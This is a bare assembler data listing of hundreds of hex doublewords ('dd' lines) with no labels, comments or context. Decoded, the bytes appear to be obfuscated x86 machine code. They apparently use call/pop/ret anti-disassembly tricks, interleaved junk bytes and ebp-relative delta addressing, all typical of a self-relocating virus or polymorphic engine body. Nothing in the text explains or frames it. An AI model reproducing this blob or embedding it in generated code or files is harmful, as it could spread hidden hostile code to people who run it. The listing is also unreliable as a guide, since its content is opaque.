		dd 85315100h, 5E70415h,	0C3858D5Fh, 6A05EABAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0CB24C355h, 8D89F8D8h, 5E72829h, 0B88689h, 8E0F0000h
		dd 3, 89DE8B66h, 0E722DD95h, 6A006A05h,	3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 3CA2C350h
		dd 8977CA35h, 0E7040DB5h, 0C6BF6605h, 46B5FF4Eh, 0E905EAA6h
		dd 0Eh,	5CF1DFCBh, 101A5826h, 765AA1D2h, 95FF72DFh, 5E71ABDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0A2C35141h
		dd 5800Fh, 63BF0000h, 504E77F5h, 0EE9h,	4791500h, 0B13DC8ACh
		dd 0B45B6D49h, 89BC91F2h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0AD7AB2C3h, 3E8B2167h
		dd 0E99BFACBh, 0Dh, 0E8CDA16Fh,	79C5AD80h, 0AC1CBFD4h
		dd 899D8BA0h, 0E905E719h, 6, 7B0625C6h,	0B5FF5963h, 5EAA646h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 9AC35141h
		dd 0AD8DDFF7h, 0B35BE270h, 0BEC0C781h, 95FF3743h, 5E70779h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 54C35646h
		dd 89591BC7h, 0E72C9DBDh, 0BE805h, 0A6780000h, 8EDC67D2h
		dd 6628BD37h, 7DBD8B3Bh, 5B05E705h, 2D0DBD83h, 0F0005E7h
		dd 3584h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0DF267DACh, 1D9400E2h, 0A7B396FCh
		dd 8A0F9650h, 6, 2C51BD23h, 0B5FF05E7h,	5EAA646h, 3595FFF9h
		dd 6A05E724h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0C7D3C357h, 0A9697910h, 0FFCAE0D2h
		dd 0EAA646B5h, 298D8905h, 0F05E714h, 95FFDFB7h,	5E7076Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 53C35040h
		dd 0CBB785CAh, 0CFFFD56Dh, 2D85BD83h, 0F0205E7h, 8784h
		dd 0B5852900h, 0E805E703h, 8, 7EB0E8DDh, 8CD0FAh, 5E8h
		dd 0DE732800h, 12E9A2FDh, 3F000000h, 0FB3CA8D1h, 391C5A47h
		dd 26119E84h, 4EEEE8BBh, 8B5F5B7Ah, 0E7118585h,	53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0EAFFCACDh, 0D4E6BDBDh, 0C6FCh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0F6C35343h,	0D4284B13h
		dd 0FB5F931Ch, 231985C7h, 5E7h,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0BD3C6AC3h
		dd 0F34CE92Fh, 6AFFFFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 2F19E4C3h, 0C9BD8973h, 0B705E721h
		dd 6AC18BB2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0A9D7C351h, 7E9E0h, 45140000h
		dd 0D9682588h, 858DF5BEh, 5E71395h, 5EE78166h, 48950C6h
		dd 75850924h, 6A05E72Fh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 70EE92FCh, 81667BBDh
		dd 6AAC27DBh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 1F1A610Dh, 0CD9D8980h, 8D05E715h
		dd 0EBD7B685h, 5C08305h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0CDC35343h, 0F2C82B6Eh, 9185895Dh, 5005E717h
		dd 0EF8A6053h, 4895B61h, 0F7816624h, 6ACE93h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0BBC35747h, 6AF5C1h
		dd 0AC6FD781h, 95FF588Bh, 5E71A4Dh, 14818D89h, 8D8D05E7h
		dd 5EAA4AAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0EBC35646h, 0CAD94C90h,	66745243h, 0FFAEC2BFh
		dd 51006AD1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0B29091DEh, 51AC7EDh, 8DBD83FCh,	105E72Bh
		dd 0A1850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0A8EB59C3h, 0FC6CEF46h, 6A026Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 241CB7C3h, 0F50FA34h, 88Ah, 2840F00h, 8B000000h, 240489DAh
		dd 1C059D0Bh, 95FF05E7h, 5E71ABDh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0FFC35646h,	0D134913Ah, 10E8h
		dd 8D294D00h, 0A6698C47h, 4E6C3B71h, 4F44C128h,	41BF66B8h
		dd 81665F97h, 0E98751DBh, 0F0Ah, 0E8h, 0ED815D00h, 5EBD7C0h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C35040h
		dd 78EFD23Eh, 1FB27A69h, 0CE9h,	5342F200h, 406CB58Ch, 0D9A8E426h
		dd 8DFB8B7Eh, 0EA90FD85h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 2AAAFB01h
		dd 0E8901AF4h, 11h, 2D9410ACh, 0D93F155Fh, 9345C10Bh, 418779D6h
		dd 0D88B6618h, 5250505Fh, 10E9h, 32EDBF00h, 0AFC3563Ah
		dd 7638872Ah, 0ED5926Dh, 66310FD8h, 585AFA8Bh, 55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 5C01CAE7h, 0B5890D56h, 5E70B19h, 35FF64h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 4ABCC352h, 24BF6CBAh, 8BB187A9h, 0E71861BDh
		dd 366CBF05h, 89645BD6h, 25h, 61B50900h, 0FF05E72Dh, 0E714FD85h
		dd 840F6005h, 3, 0FC78B66h, 28Dh, 61616000h, 6AFF6Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 495F31C3h, 9D8B4413h, 5E7060Dh, 1D15B5FFh, 6A05E7h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0B857CFC3h, 0AE898h,	0B1DA0000h, 313174E8h, 370CBF44h
		dd 5195FF5Fh, 0E905E704h, 12Dh,	1A91BD89h, 0B005E7h, 8E960h
		dd 9AC30000h, 35051338h, 9D8BFE19h, 5E71841h, 0F70E661h
		dd 686h, 6D9D0100h, 0E405E72Eh,	659D0171h, 3C05E706h, 0F2830F61h
		dd 80000000h, 0B60FC7F3h, 759D8BC8h, 0BA05E729h, 6, 0B8D78166h
		dd 0E9C18B74h, 0Dh, 0EBA35E1Fh,	0F352109Ah, 1D2E2F5Eh
		dd 96D8BBDBh, 0E8C1481Eh, 0C1BD8904h, 6605E707h, 0BF66E2F7h
		dd 0C82B6E8Ah, 10E9h, 84FCD100h, 0D3DF9D33h, 0E5B6DB48h
		dd 33736BC0h, 89D18B42h, 0E7159DB5h, 8FE905h, 85890000h
		dd 5E71F99h, 4858Bh, 0EB810000h, 48F0F538h, 0F07C083h
		dd 282h, 8BDA8A00h, 0E71CD1BDh,	0C08305h, 0FD03BF9h, 1983h
		dd 0B5858900h, 6605E705h, 0DFDFCB81h, 50E9h, 3830F00h
		dd 66000000h, 8D8BD88Bh, 0FFFFFFFFh, 6264DB81h,	0E18356D9h
		dd 32840F01h, 60000000h, 7E9h, 8F2BC300h, 7613135Eh, 0A45B58Bh
		dd 836105E7h, 0FFFFFFA5h, 0D88BFEFFh, 49589h, 860F0000h
		dd 4, 919FBF66h, 0E9h, 49B58D00h, 8905EB55h, 0E716BD85h
		dd 0E8006A05h, 11h, 1FCF63F1h, 4969592Fh, 0C9493535h, 1AC8E326h
		dd 0ED8D89A0h, 5F05E713h, 2961BB66h, 21C195FFh,	6A05E7h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0B9CC1EC3h, 50AEA485h, 0D046BB66h, 0FCBB95Bh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 70E691C3h, 0BCC08025h, 8F0FC602h, 6,	2A759D89h, 0AE905E7h
		dd 0D5000000h, 5E00CCD7h, 218AAC5Eh, 0FCE18350h, 0C8E0Fh
		dd 830F0000h, 6, 8C0Fh,	6AFC0000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 7D61C350h
		dd 16820F89h, 0E9000000h, 11h, 0D1840DEh, 0FF2B530Fh, 1BFFC145h
		dd 68387911h, 0FBF1BB72h, 0C02B4DF3h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0D1C35141h,	0A16AE8D7h, 24298529h
		dd 0BB6605E7h, 0D22BAD93h, 0FE9h, 11B28C00h, 645F3632h
		dd 0C370B4A1h, 0ECC70F21h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 9EC35040h
		dd 5BB3A8F9h, 6ADF8Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 58ACF4C3h, 0CD0A29F0h, 880D6CC3h
		dd 8B000000h, 0E709F5BDh, 0A9958B05h, 0E905E71Ah, 12h
		dd 0C14C38h, 3BE527Dh, 75115F49h, 0E1FB36F6h, 8D8B350Ah
		dd 5E72A4Dh, 27FD9D8Bh,	8B5005E7h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0B3C35545h, 0ECD159BBh, 83F88B75h, 0E71865BDh
		dd 840F0005h, 80h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 10C35040h, 0BD897AA6h, 5E70425h, 0B8h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 10CD591Bh, 1BABB1AFh, 2ECD8D29h,	8D8D05E7h
		dd 5E74D24h, 0FFFAB70Fh, 53006AE1h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 4E3C6DD0h, 12BC30F8h
		dd 2739BD83h, 0F0005E7h, 41D84h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 1514D235h
		dd 859D8B66h, 8B05E70Bh, 0E71C699Dh, 0ED858905h, 8305E701h
		dd 0E72739BDh, 840F0105h, 3F9h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h
		dd 1Bh,	8C35545h, 25FAB58Ah, 313ED502h,	0E731B99Dh, 39BD8305h
		dd 305E727h, 38D860Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 8166FBC3h, 6007F5E3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 53C35242h
		dd 0E1953195h, 6605E70Ah, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0D5CA83C3h, 0E1801836h
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0F83AB423h, 1711BD09h, 0C90A05E7h, 0D5840Fh
		dd 95010000h, 5E722DDh,	699858Bh, 850105E7h, 5E716E1h
		dd 199D3356h, 5F05E733h, 13098533h, 0BD8B05E7h,	5E72CF1h
		dd 24048950h, 83F38166h, 6A006AF9h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0AB64C357h
		dd 1D31A8ECh, 4E85474h,	0FF000000h, 66001F03h, 50FD9BBFh
		dd 43EE3EBBh, 24448B5Ah, 8BFA8B04h, 24448900h, 13E804h
		dd 8C480000h, 1AB9EB98h, 6A794347h, 0C8173718h,	2E4639BEh
		dd 0B35BF56h, 585B05C1h, 20F1BD2Bh, 95FF05E7h, 5E71B71h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0ABC35545h
		dd 0F98B66B3h, 0A6468589h, 958905EAh, 5E709F5h,	1ADE9h
		dd 0DBD0300h, 8B05E729h, 0EAA63E85h, 9ACEBB05h,	0C74F94h
		dd 18h,	49B589h, 0B58B05E7h, 5EAA642h, 369CF81h, 39B76B9Bh
		dd 3289858Bh, 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 709A2C3h, 0C8368563h, 3674BF97h
		dd 0B4B37C06h, 6A0689h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 7CA423C3h, 89C2B63Eh, 0E717FDBDh
		dd 33DB305h, 0E72CE99Dh, 99858B05h, 6A05E706h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 5525C350h, 3558D89h,	0DE905E7h, 0EE000000h, 1870E30Eh
		dd 0E3F5151Dh, 0B44B2F21h, 0BF044689h, 228E26Ch, 8E996h
		dd 0BFCF0000h, 60F9A6E1h, 60505F98h, 0BA66FEB7h, 9661ADA7h
		dd 0C2EF8166h, 3EB5FFE1h, 6A05EAA6h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 66C3C357h
		dd 0A48DB49Ch, 145D9501h, 0DE6805E7h, 0F017AA2h, 8Fh, 24348100h
		dd 165A121h, 0A350EF81h, 858D73BFh, 5EAA646h, 1CF18D31h
		dd 0FE805E7h, 98000000h, 0E1140ED9h, 56E474EDh,	8EB7A245h
		dd 5E8A5D8h, 0C1000000h, 0CD2D423Ch, 5BFA8B66h,	14E8905Bh
		dd 33000000h, 0E03DF16Eh, 0FDB0BD8Fh, 6DD08154h, 30F84E3Ch
		dd 507F12BCh, 0F616052h, 0F525031h, 5A585A31h, 50505F58h
		dd 27BDBF52h, 310F761Fh, 5ADF8B66h, 9D019058h, 5E70939h
		dd 1B7195FFh, 815705E7h, 444820DFh, 6A615B5Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 9B69C352h, 85C77419h, 5E72739h, 3, 0E9DE8B66h, 0Ch
		dd 0C78E2C23h, 2E645665h, 25B92CC4h, 0A646BD83h, 0F0005EAh
		dd 2E84h, 44E900h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 362D35C3h, 0BD2366A0h
		dd 31BD8B7Ch, 5005E70Ch, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 9D8BC08Bh, 5E7152Dh, 0DF69BF66h
		dd 83DFBF0Fh, 0E72739BDh, 850F0305h, 521h, 28219D8Bh, 0BD8B05E7h
		dd 5E72B65h, 0A646BD83h, 0F0005EAh, 50884h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0C8F03105h, 9D8BFC81h, 5E72975h, 57FB8B66h, 5BF88B66h
		dd 0A646B5FFh, 6A05EAh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 13751CC3h, 0DFF79AF0h, 8B57AD8Dh
		dd 0B5015BD9h, 5E70E91h, 2351BD8Bh, 95FF05E7h, 5E70219h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0A0C35040h
		dd 4235C4FDh, 818D29ACh, 8B05E71Ah, 0E706A99Dh,	3AB58B05h
		dd 6005EAA6h, 66F08B66h, 61E1DEBEh, 306FEF81h, 6C715E9h
		dd 10001h, 2C059D31h, 509605E7h, 0BB666052h, 0DE97E84h
		dd 17000000h, 51973F73h, 89E31D86h, 0F652A5D0h,	66310F61h
		dd 5A5933BFh, 0B9605058h, 70AD848Fh, 12E957h, 273A0000h
		dd 0A67907EFh, 60C5DAC1h, 0BB2858F4h, 35467DAh,	6A966159h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 7704C357h, 7DB58948h, 8905E731h, 0E719FD85h
		dd 46B5FF05h, 6A05EAA6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 5062C353h, 0BE308A15h
		dd 0E9DA8BD1h, 8, 3C68768h, 0F2171111h,	3195FFh, 6A05E7h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 654C7CC3h, 157D9509h, 816605E7h, 8B1E48D7h, 0EAA63AB5h
		dd 85895705h, 5E712B1h,	0B589605Fh, 5E729B5h, 0FB8B6651h
		dd 858B615Fh, 5E7187Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 6FC35040h, 31482BEEh,	0E709E595h, 419D8905h
		dd 8905E714h, 0C486h, 899D8B00h, 8B05E71Ch, 0E70E95BDh
		dd 0A9958B05h, 0F05E71Ah, 1A8Fh, 12E800h, 1FD50000h, 6C76A9D5h
		dd 0C22C17FBh, 5F37D00Bh, 2AE769FFh, 835F6160h,	6A04C2h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0F0450CC3h, 0F4DCB5FCh, 0E914D6E4h, 0Bh, 0F7679304h
		dd 0E36D41A2h, 89D30559h, 6A2050h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0B6479C3h, 413BB4E2h
		dd 8D76CF44h, 0EABAC385h, 13800F05h, 0E9000000h, 0Eh, 91106F11h
		dd 5E6EB632h, 52BD513Ch, 8689FAFEh, 0B8h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 18h, 0E8C35343h, 1A3404C1h
		dd 22E59D2Bh, 6A05E7h, 0B6F38166h, 46B5FFB5h, 6A05EAA6h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0D3B3C355h, 258EBADCh, 0DA8B665Eh, 6820F56h
		dd 89000000h, 0E72ECD95h, 95FF5B05h, 5E71ABDh, 81FAC380h
		dd 3757BFD3h, 0B7509675h, 6A9668h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0FE912C3h, 0DE000000h
		dd 7BA00166h, 0F75A9875h, 0F37CC71Fh, 5E82740h,	6000000h
		dd 254FC7C8h, 0C319BF66h, 46B5FF5Fh, 6A05EAA6h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 4A4EC352h, 0A087E264h, 8B910CC1h, 0E70C319Dh, 7995FF05h
		dd 6A05E707h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0E04AC355h, 0D58509D2h, 8305E722h
		dd 0E72D0DBDh, 840F0005h, 49h, 6696FB8Bh, 5050FE8Bh, 5E852h
		dd 36B00000h
		dd 0E8B237CDh, 8, 0AE7559F3h, 3C8108BAh, 310F5F5Bh, 5E9h
		dd 0D3F58500h, 585A92BEh, 0CE896h, 4F200000h, 0F14443E4h
		dd 23061DBBh, 0BF0F3E1Dh, 0B70F5FDAh, 46B5FFFBh, 6A05EAA6h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0C1EAC350h, 95FF2C36h, 5E72435h, 636BF66h
		dd 0A646B5FFh, 0DE905EAh, 10000000h, 0DAD18E0h,	65609CD2h
		dd 0A62CE19h, 76D95FFh,	6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0D4A839C3h, 0CA1BC29Ch
		dd 0BD83247Dh, 5E72D85h, 59840F02h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0FD6C355h, 0D1D8DA22h, 82750553h, 85858BF9h,	6A05E711h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0F9DFC351h, 0BF1B5D3Fh, 0D98BECDDh, 0BF0000C6h
		dd 32030652h, 231985C7h, 5E7h, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0B3F0C2C3h
		dd 2EBB669Fh, 0F24AE974h, 6AFFFFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 6667F3C3h, 0D636D381h
		dd 8B52C18Bh, 0E71CB19Dh, 858D5F05h, 5E71395h, 8E8h, 19419600h
		dd 0CAAA1B62h, 0FA8B66F6h, 0BF66505Bh, 48950F8h, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0C0BFE8F2h, 0BB665EC5h, 6A90A0h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0BEC35343h,	51F969A9h, 0F707DDD0h
		dd 0D187BF66h, 6A006Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8D7261C3h, 0EBE8C985h, 0DE905h
		dd 0AD270000h, 0AC7CD2h, 3B42CA7Eh, 83851A47h, 6A05C0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0D6F5C6C3h, 758C937Bh, 5024CE03h, 89D88B66h,	820F2404h
		dd 1, 6A006AF9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 7CD4C353h, 8267384Eh, 31EFE05Dh
		dd 0E7180D9Dh, 0B7006A05h, 4D95FF82h, 2905E71Ah, 0E71885B5h
		dd 0AA8D8D05h, 6605EAA4h, 0F71DE381h, 20D1BD31h, 0D1FF05E7h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F4C35141h
		dd 34891F19h, 39BD8B49h, 8305E718h, 0E72B8DBDh,	850F0105h
		dd 0A6h, 242DBD89h, 26A05E7h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 3AC35343h, 13E945h,	78E50000h
		dd 40A765Fh, 57CEB407h,	0EA3DE3B1h, 0D919D6F3h,	830F501Dh
		dd 6, 60E88A60h, 4896161h, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 5730D942h
		dd 419D8B33h, 0F05E724h, 188h, 95FFF500h, 5E71ABDh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0B5C35747h, 0FB9CBBEAh
		dd 16F59589h, 74E905E7h, 0E800000Dh, 0
		dd 0D3ED815Dh, 5005EBE8h, 206EBB66h, 56006A5Bh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0E37C5733h
		dd 0FD858D5Eh, 105EA90h, 0E7130D95h, 8DBD8B05h,	5005E711h
		dd 1240489h, 0E72BB98Dh, 35FF6405h, 0
		dd 1839BD8Bh, 896405E7h, 25h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0E0C92B55h
		dd 1F9395Bh, 0D9B58971h, 0FF05E71Bh, 0E714FD85h, 1840F05h
		dd 0F9000000h, 0B5FFFF6Ah, 5E71555h, 45195FFh, 0DAE905E7h
		dd 89000000h, 0E71A3995h, 8B00B005h, 0E719F5BDh, 8B70E605h
		dd 8B71E4F9h, 0E72C99BDh, 0F613C05h, 0B883h, 0FD9D8900h
		dd 0F05E715h, 8D89C8B6h, 5E725DDh, 6BAh, 8B9FB300h, 0E38166C1h
		dd 0E8C115E9h, 0E2F76604h, 1A618531h, 0C82B05E7h, 2B65BD89h
		dd 0D18B05E7h, 19C9BD29h, 7AE905E7h, 0F000000h,	858BFFB7h
		dd 5F4C4C44h, 25158589h, 0C08305E7h, 9CEB8107h,	83323D05h
		dd 0D03B00C0h, 16830Fh,	0BD8B0000h, 5E709DDh, 4CE9h, 0F1850900h
		dd 6605E70Bh, 76D8E381h, 0FFFF8D8Bh, 0B589FFFFh, 5E71C59h
		dd 0F01E183h, 2C84h, 68C0F00h, 8B000000h, 0E71FE99Dh, 0FFA58305h
		dd 0FEFFFFFFh, 329D9D31h, 0FE8A05E7h, 4C449589h, 0BD8B5F4Ch
		dd 5E70439h, 0E9h, 14B58D00h, 5305EB65h, 5BDBB70Fh, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0D05E3AC3h, 22550960h, 10E8h, 0F4D60400h, 0CCDEE026h
		dd 0E03E1EF9h, 4C6FE86h, 10E9B3h, 0AAE60000h, 0A85A3BD7h
		dd 1D106B7Fh, 3916199Dh, 0FF5B76AEh, 0E721C195h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 44876ADh, 59225C4Dh,	0EFBBDA66h, 0B978713Dh,	0F8Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 49C35646h
		dd 0ADCA6BE9h, 7C4F48F7h, 8166FC3Bh, 838232EBh,	0FCFCFCE1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2DC35343h
		dd 6CBDAC7h, 0B8FABF0Fh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 97C35747h
		dd 7427491Bh, 82525936h, 0E99D8B5Ah, 8905E72Ch,	0E7244D95h
		dd 0BA05h, 0BD290000h, 5E705E9h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0E6C35242h, 6612D040h, 8B0175BFh, 0E707E1BDh, 880D05h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 705567C3h, 39F28C3Ah, 0C5BD8B82h,	8B05E70Ch
		dd 0E71AA995h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 4F68CB94h, 0B9A04F9Ch
		dd 4D8D8B71h, 5305E72Ah, 2EB0CCBBh, 8B505F05h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 6AF88Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 33791AC3h
		dd 0B89965E0h, 65BD83FAh, 5E718h, 85840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0CCF484C3h, 0A160B80Fh, 8B19B418h, 0B8FBh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 2A7C50C3h, 77C816B6h, 71BD8BACh, 8D05E716h, 0E74D248Dh
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 45F9856Ch, 0FF68C71Bh, 0C9BD8BE1h, 8305E728h
		dd 0E72739BDh, 840F0005h, 43Ch,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0C6C35545h,	1C8D1CEEh, 53FC92DAh
		dd 2880Fh, 5F560000h, 39BD835Fh, 105E727h, 41D840Fh, 0BD830000h
		dd 5E72739h, 0DA860F03h, 6A000003h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 1F6EC352h
		dd 648579F4h, 6A60FCh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 989985C3h, 0FD98C66h, 86h, 4E18000h
		dd 0AE9h, 0ADD94900h, 2CF9004h,	5098BDE7h, 5FDABF0Fh, 840FC90Ah
		dd 0ECh, 64CF8166h, 5FBB6673h, 99858B33h, 2905E706h, 0E72B3995h
		dd 9853305h, 8105E713h,	0F036F6DFh, 9E856h, 0B3460000h
		dd 19E8FC95h, 0BB37DA6Bh, 53BEC951h, 0FE8B505Fh, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 1803C350h, 0B29F6536h, 1DB39932h,	0D2E0C381h
		dd 33BB429Fh, 6A684965h, 0F5BD8B00h, 6805E727h,	0ACE16E0Ch
		dd 0DABF6653h, 4815F44h, 3D95F324h, 0D958953h, 0FF05E702h
		dd 0E71B7195h, 359D8905h, 8905E702h, 0EAA64685h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0E870937Fh, 0ADF7784Dh, 0A59D33A2h, 0E905E713h, 1EAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 4DC35040h
